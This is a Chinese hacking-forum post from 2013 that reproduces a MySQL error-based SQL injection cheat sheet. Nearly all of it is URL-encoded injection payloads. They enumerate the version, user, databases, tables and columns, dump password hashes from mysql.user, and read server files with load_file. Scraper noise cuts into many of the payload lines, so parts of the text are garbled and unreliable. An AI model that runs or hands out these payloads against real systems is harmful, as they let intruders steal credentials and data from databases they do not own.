找回密码
 立即注册
查看: 2866|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
% L. [( {9 `6 k& c- i: X- E; P7 h4 R3 [% w, Z% C- S/ P

: J' V8 [: f% Q4 A& V2 F! {" kMysql暴错注入参考(pdf),每天一贴。。。
2 h* D2 T7 v2 x9 q+ G/ S8 r' F- i$ D: P* t
MySql Error Based Injection Reference
9 W* V; r) v, R: w[Mysql暴错注入参考]
) U6 W5 R7 Q) g/ FAuthornig0s19926 \2 S- E- o' |- b$ K, z
Blog:http://pnig0s1992.blog.51cto.com/9 d) C5 i$ K' g- r6 A
TeAm:http://www.FreeBuf.com/
) l. ~) y: W) H& C$ M8 DMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
# v: S, C, c; w9 g3 j. U7 I小部分版本使用name_const()时会报错.可以用给出的Method.2测试2 I! {% t9 B; f, f8 }" o% X& U
查询版本:6 x" j, m2 G6 s/ P$ Z
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
3 Z4 U: {$ h  @8 sjoin+(select+name_const(@@version,0))b)c)
0 V" {: g9 V2 k$ B" j9 f+ C( L- KMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro/ B/ d! m: l6 V4 K% L* C
up by a)b)! K0 }# e  M- r; {
查询当前用户:" s8 I8 q" g7 s4 k0 m, T& _8 m
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
0 J; |- _% K+ r5 a9 PMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r: p0 t& e9 w. t; G* ^5 G
and(0)*2))x+from+information_schema.tables+group+by+x)a)
# p$ C6 k& J% H7 {6 N: u0 n查询当前数据库:9 {4 H8 y4 Z8 |8 D7 \
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
; y) P( X& Z8 X1 y6 q. L; e8 @+ rMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo$ m% Q6 o& O9 J2 D+ [- p0 g
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)7 K$ ?. S. ]+ v
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
; @; _5 ^# ^% `* D0 ]/ I2 J8 _* s/ VLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n0 T* n+ K4 G. O4 \
顺序替换  L  }; d& R3 Y: y# H& q, g  S# K" k
爆指定库数目:
& k& f5 g/ O9 X$ o' }and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t, u5 C+ D* e, s
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group- u% q- [  I1 K
+by+x)a)+and+1=1 0x6D7973716C=mysql5 |# N7 @0 j4 k, F6 W; V
依次爆表:5 n4 p8 h! r- Q
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
: ^: A; S7 R6 Xable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta$ s$ x: ^8 p0 g5 Q4 j3 [
bles+group+by+x)a)+and+1=1/ a" w8 E/ j' {3 ~
0x6D7973716C=Mysql 将n顺序替换6 t0 A% S4 S) p
爆表内字段数目:! b* w% i$ w9 O4 M
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE! M8 N* S; F* V" y3 e
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
/ {9 x  `8 A% K  l" W* X3 K0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  V4 `; f* s$ V1 G; z
依次爆字段:
; ^: G+ x! |4 n5 ~and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
* N, q- J/ T5 W+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,16 m* v) x+ l" c) w6 y" B
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换' ]) z  n# ~4 C: b& Q: D% w' c
依次暴内容:
( x% O# ?7 ^; P$ t% y1 J" Gand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche& M2 {$ @& t6 _  z( |
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=19 s- ~! {+ O3 W+ ~( b1 O
将n顺序替换" `( H) l3 [; i  G# Z  E
爆文件内容:" N) i' _8 M5 u; d4 e% ^2 t
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
/ r3 }8 n+ E. A5 n& L5 |8 Jfrom+information_schema.tables+group+by+a)b)
! C; {$ m2 n9 Z0 o% W& `! H0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
* I9 S2 J. q  ^* D4 p" R; QThx for reading.- C! U3 t9 P. h: S. S( b
8 q9 e, [, T! r  }5 S& y
不要下载也可以, + U+ d" G% Q- ^2 X/ J3 T

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表